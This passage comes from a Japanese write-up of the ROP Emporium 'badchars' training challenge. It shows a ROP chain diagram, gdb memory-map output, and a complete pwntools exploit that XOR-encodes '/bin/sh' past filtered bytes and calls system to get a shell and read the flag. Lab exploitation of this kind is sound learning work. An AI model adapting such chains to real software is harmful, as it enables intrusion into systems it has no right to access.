| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address |
+--------------------+
| xor [r15] r14b |
+--------------------+
| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address +1 |
+--------------------+
| xor [r15] r14b |
+--------------------+
| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address +2 |
+--------------------+
| xor [r15] r14b |
+--------------------+
| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address +3 |
+--------------------+
| xor [r15] r14b |
+--------------------+
| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address +4 |
+--------------------+
| xor [r15] r14b |
+--------------------+
| pop r14 ; pop r15 |
+--------------------+
| 0xff |
+--------------------+
| write address +5 |
+--------------------+
| xor [r15] r14b |
+--------------------+
+--------------------+
| pop rdi |
+--------------------+
| write address |
+--------------------+
| system@plt |
+--------------------+
/bin/sh
を書き込むメモリのアドレスをどこにするかはwrite4を参考にして決定。
gdb-peda$ readelf
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002c8
.dynstr = 0x400448
.gnu.version = 0x4004e0
.gnu.version_r = 0x400500
.rela.dyn = 0x400530
.rela.plt = 0x400590
.init = 0x400698
.plt = 0x4006c0
.plt.got = 0x400780
.text = 0x400790
.fini = 0x400bc4
.rodata = 0x400bd0
.eh_frame_hdr = 0x400c38
.eh_frame = 0x400c90
.init_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20
.dynamic = 0x600e28
.got = 0x600ff8
.got.plt = 0x601000
.data = 0x601070
.bss = 0x601080
gdb-peda$
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /root/ROP_Emporium/badchars/badchars
0x00600000 0x00601000 r--p /root/ROP_Emporium/badchars/badchars
0x00601000 0x00602000 rw-p /root/ROP_Emporium/badchars/badchars
0x00007ffff7df6000 0x00007ffff7e1b000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e1b000 0x00007ffff7f62000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f62000 0x00007ffff7fab000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fab000 0x00007ffff7fac000 ---p /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 rw-p mapped
0x00007ffff7fd1000 0x00007ffff7fd4000 r--p [vvar]
0x00007ffff7fd4000 0x00007ffff7fd5000 r-xp [vdso]
0x00007ffff7fd5000 0x00007ffff7fd6000 r--p /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd6000 0x00007ffff7ff4000 r-xp /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
gdb-peda$
書き込み権限があるbss領域をwrite addressとして使用する。
from pwn import *
conn = process('./badchars')
system_addr=0x4006f0 # system@plt
xor_addr=0x400b30 # xor BYTE PTR [r15],r14b ; ret
mov_r13_r12_addr=0x400b34 # mov QWORD PTR [r13+0x0],r12 ; ret
pop_rdi_addr=0x400b39 # pop rdi ; ret
pop_r12_r13_addr=0x400b3b # pop r12 ; pop r13 ; ret
pop_r14_r15_addr=0x400b40 # pop r14 ; pop r15 ; ret
write_mem_addr=0x6010f0
payload = 'A'*40
payload += p64(pop_r12_r13_addr)
payload += '\xd0\x9d\x96\x91\xd0\x8ch\x00'
payload += p64(write_mem_addr)
payload += p64(mov_r13_r12_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr)
payload += p64(xor_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+1)
payload += p64(xor_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+2)
payload += p64(xor_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+3)
payload += p64(xor_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+4)
payload += p64(xor_addr)
payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+5)
payload += p64(xor_addr)
payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_addr)
conn.sendline(payload)
conn.interactive()
# python ./badchars.py
[+] Starting local process './badchars': pid 6280
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> $ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$